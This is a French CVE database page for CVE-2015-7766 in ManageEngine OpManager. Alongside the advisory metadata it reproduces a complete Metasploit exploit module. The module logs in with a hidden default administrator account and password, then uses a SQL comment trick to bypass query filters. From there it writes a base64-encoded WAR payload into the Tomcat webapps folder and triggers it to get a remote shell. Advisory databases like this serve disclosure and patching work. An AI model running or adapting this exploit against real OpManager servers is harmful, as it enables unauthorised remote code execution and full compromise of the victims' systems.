CVE-2015-7766 : Détail

CVE-2015-7766

A01-Broken Access Control
77.55%V4
Network
2015-10-09
14h00 +00:00
2024-09-17
01h10 +00:00
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Descriptions du CVE

PGSQL:SubmitQuery.do in ZOHO ManageEngine OpManager 11.6, 11.5, and earlier allows remote administrators to bypass SQL query restrictions via a comment in the query to api/json/admin/SubmitQuery, as demonstrated by "INSERT/**/INTO."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 38221

Date de publication : 2015-09-16 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote # It removes large object in database, shoudn't be a problem, but just in case.... Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ManageEngine OpManager Remote Code Execution', 'Description' => %q{ This module exploits a default credential vulnerability in ManageEngine OpManager, where a default hidden account "IntegrationUser" with administrator privileges exists. The account has a default password of "plugin" which can not be reset through the user interface. By log-in and abusing the default administrator's SQL query functionality, it's possible to write a WAR payload to disk and trigger an automatic deployment of this payload. This module has been tested successfully on OpManager v11.5 and v11.6 for Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module ], 'References' => [ [ 'EDB', '38174' ], ], 'Platform' => ['java'], 'Arch' => ARCH_JAVA, 'Targets' => [ ['ManageEngine OpManager v11.6', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 14 2015', 'DefaultTarget' => 0)) end def uri target_uri.path end def check # Check version vprint_status("#{peer} - Trying to detect ManageEngine OpManager") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'LoginPage.do') }) unless res && res.code == 200 return Exploit::CheckCode::Safe end if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/ version = $1 if Gem::Version.new(version) <= Gem::Version.new('11.6') return Exploit::CheckCode::Appears else # Patch unknown return Exploit::CheckCode::Detected end elsif res.body =~ /OpManager/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def sql_query( key, query ) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'), 'vars_get' => { 'apiKey' => key }, 'vars_post' => { 'query' => query } }) unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Query was not succesful!") end res end def exploit print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'jsp', 'Login.do'), 'vars_post' => { 'domainName' => 'NULL', 'authType' => 'localUserLogin', 'userName' => 'IntegrationUser', # Hidden user 'password' => 'plugin' # Password of hidden user } }) if res && res.code == 302 redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "") print_status("#{peer} - Location is [ #{redirect} ]") else fail_with(Failure::Unknown, "#{peer} - Access to login page failed!") end # Follow redirection process print_status("#{peer} - Following redirection") res = send_request_cgi({ 'uri' => redirect, 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/ api_key = $1 print_status("#{peer} - Retrieved API key [ #{api_key} ]") else fail_with(Failure::Unknown, "#{peer} - Redirect failed!") end app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/\n/, '') print_status("#{peer} - Executing SQL queries") # Remove large object in database, just in case it exists from previous exploit attempts sql = 'SELECT lo_unlink(-1)' sql_query(api_key, sql) # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. sql = 'SELECT lo_create(-1)' result = sql_query(api_key, sql) if result.body =~ /lo_create":([0-9]+)}/ lo_id = $1 else fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!") end # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc. sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))" sql_query(api_key, sql) # Export our large object id data into a WAR file sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');" sql_query(api_key, sql) # Remove our large object in the database sql = 'SELECT lo_unlink(-1)' sql_query(api_key, sql) register_file_for_cleanup("tomcat//webapps//#{app_base}.war") register_file_for_cleanup("tomcat//webapps//#{app_base}") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end

Products Mentioned

Configuraton 0

Zohocorp>>Manageengine_opmanager >> Version To (including) 11.5

Zohocorp>>Manageengine_opmanager >> Version 11.6

    Références

    http://seclists.org/fulldisclosure/2015/Sep/66
    Tags : mailing-list, x_refsource_FULLDISC
    https://www.exploit-db.com/exploits/38221/
    Tags : exploit, x_refsource_EXPLOIT-DB